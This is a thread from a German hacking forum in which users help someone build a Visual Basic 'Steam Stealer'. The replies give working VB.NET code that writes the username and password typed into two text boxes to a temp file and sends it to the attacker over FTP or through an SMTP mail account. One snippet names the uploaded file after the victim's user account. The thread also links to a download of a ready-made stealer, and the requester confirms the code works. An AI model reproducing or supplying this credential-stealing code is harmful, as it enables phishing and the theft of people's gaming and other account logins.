VB Steam Stealer hilfe

[KDBFame]

Hallo!
Ich habe ein Problem.
Ich brauche einen Code für Visual Basic mitdem man aus 2 Texboxen den inhalt z.B. an eine e-mail senden kann (kann auch FTP sein).
Ich habe überall gesucht!!
Aber nichts was mir wirklich helfen würde gefunden.

Hätte jemand/The Papst etwas anzubieten?

mfg

[Planxty]

du musst den inhalt aus den textboxen z.b mit nem stremwriter in eine txt schreiben und diese dann uploaden.
Using stats As StreamWriter = New StreamWriter("upload.txt")
stats.Write("Uploaded File")
stats.WriteLine("Datum:")
stats.WriteLine(DateTime.Now)
stats.Write(Textbox1.Text)
stats.Write(Textbox2.Text)
stats.Close()
End Using

My.Computer.Network.UploadFile("upload.txt", _
"ftp://DeinFTPserver" & My.Computer.Clock.LocalTime.DayOfWeek & "_" & "upload.txt", _
"ftpUser", "FtpPasswort")


als E-Mail :so oder so ähnlich

Imports System.Net.Mail

Dim mail As New MailMessage()
mail.From = New MailAddress("Deine-email")
mail.To.Add("empfänger")
mail.Subject = "Betreff"
mail.Body = Textbox1.Text & vbCrLf & Textox2.text
Dim smtp As New SmtpClient("mail.gmx.net")
smtp.Credentials = New System.Net.NetworkCredential("111@gmx.de", "111aA")

Try
smtp.Send(mail)
Finally
mail.Dispose()
smtp = Nothing
End Try

[VooDoo666]

omq-.-

Du hast doch vorhin schon angefragt, wo inmate dir netterweise einen SC gepostet hat.

Den hättest du nur noch pasten müssen-.-

Hier Dl zu deinem 13Stealer37:
http://tinyurl.com/ldj2kv

Hier den Ex-Thread:http://free-hack.com/showthread.php?goto=newpost&t=38188
#VooDoo

[KDBFame]

Es geht mir ja darum das jemand was in die textbox schreibt und genau der inhalt gesendet wird






PS: Und auf Google wäre ich nicht gekommen! respekt!!!! xDDD

Und das von vorhin funzt immer noch nicht

[Sawyer]

Dim sw As New System.IO.StreamWriter(Environment.GetEnvironmentV ariable("tmp") & "\pw.txt", True)
sw.WriteLine("Benutzer: " & textbox1.Text & ControlChars.CrLf & "Passwort: " & textbox2.Text)
sw.Flush()
sw.Close()

Wie du die Datei dann Uploadest solltest du mittlerweile ja wissen ;)

MfG

[VooDoo666]

Dim 13log37 As String = Environ("tmp") & "\googlerules.txt"
Dim schreib0rn As StreamWriter
schreib0rn = New StreamWriter(13log37)

schreib0rn.writeline("Imba13Stealer37")
schreib0rn.writeline("")
schreib0rn.writeline(Textbox1.text)
schreib0rn.writeline(Textbox2.text)

My.Computer.Network.UploadFile(Environ("tmp") & "\googlerules.txt", "FTP://" & meinServer & "/" & Environment.UserName & ".txt", meinUser, meinPasswort)



Dann kommt die txt auf den Server und hat als Namen den Namen des Pc's des Opfers
'VooDoo666

[KDBFame]

ENDLICH!!!!

Es klappt hervorragend!!!

I Love all who helped me!!!!

[Planxty]

I Love all who helped me!!!!
Ihhh poligami xD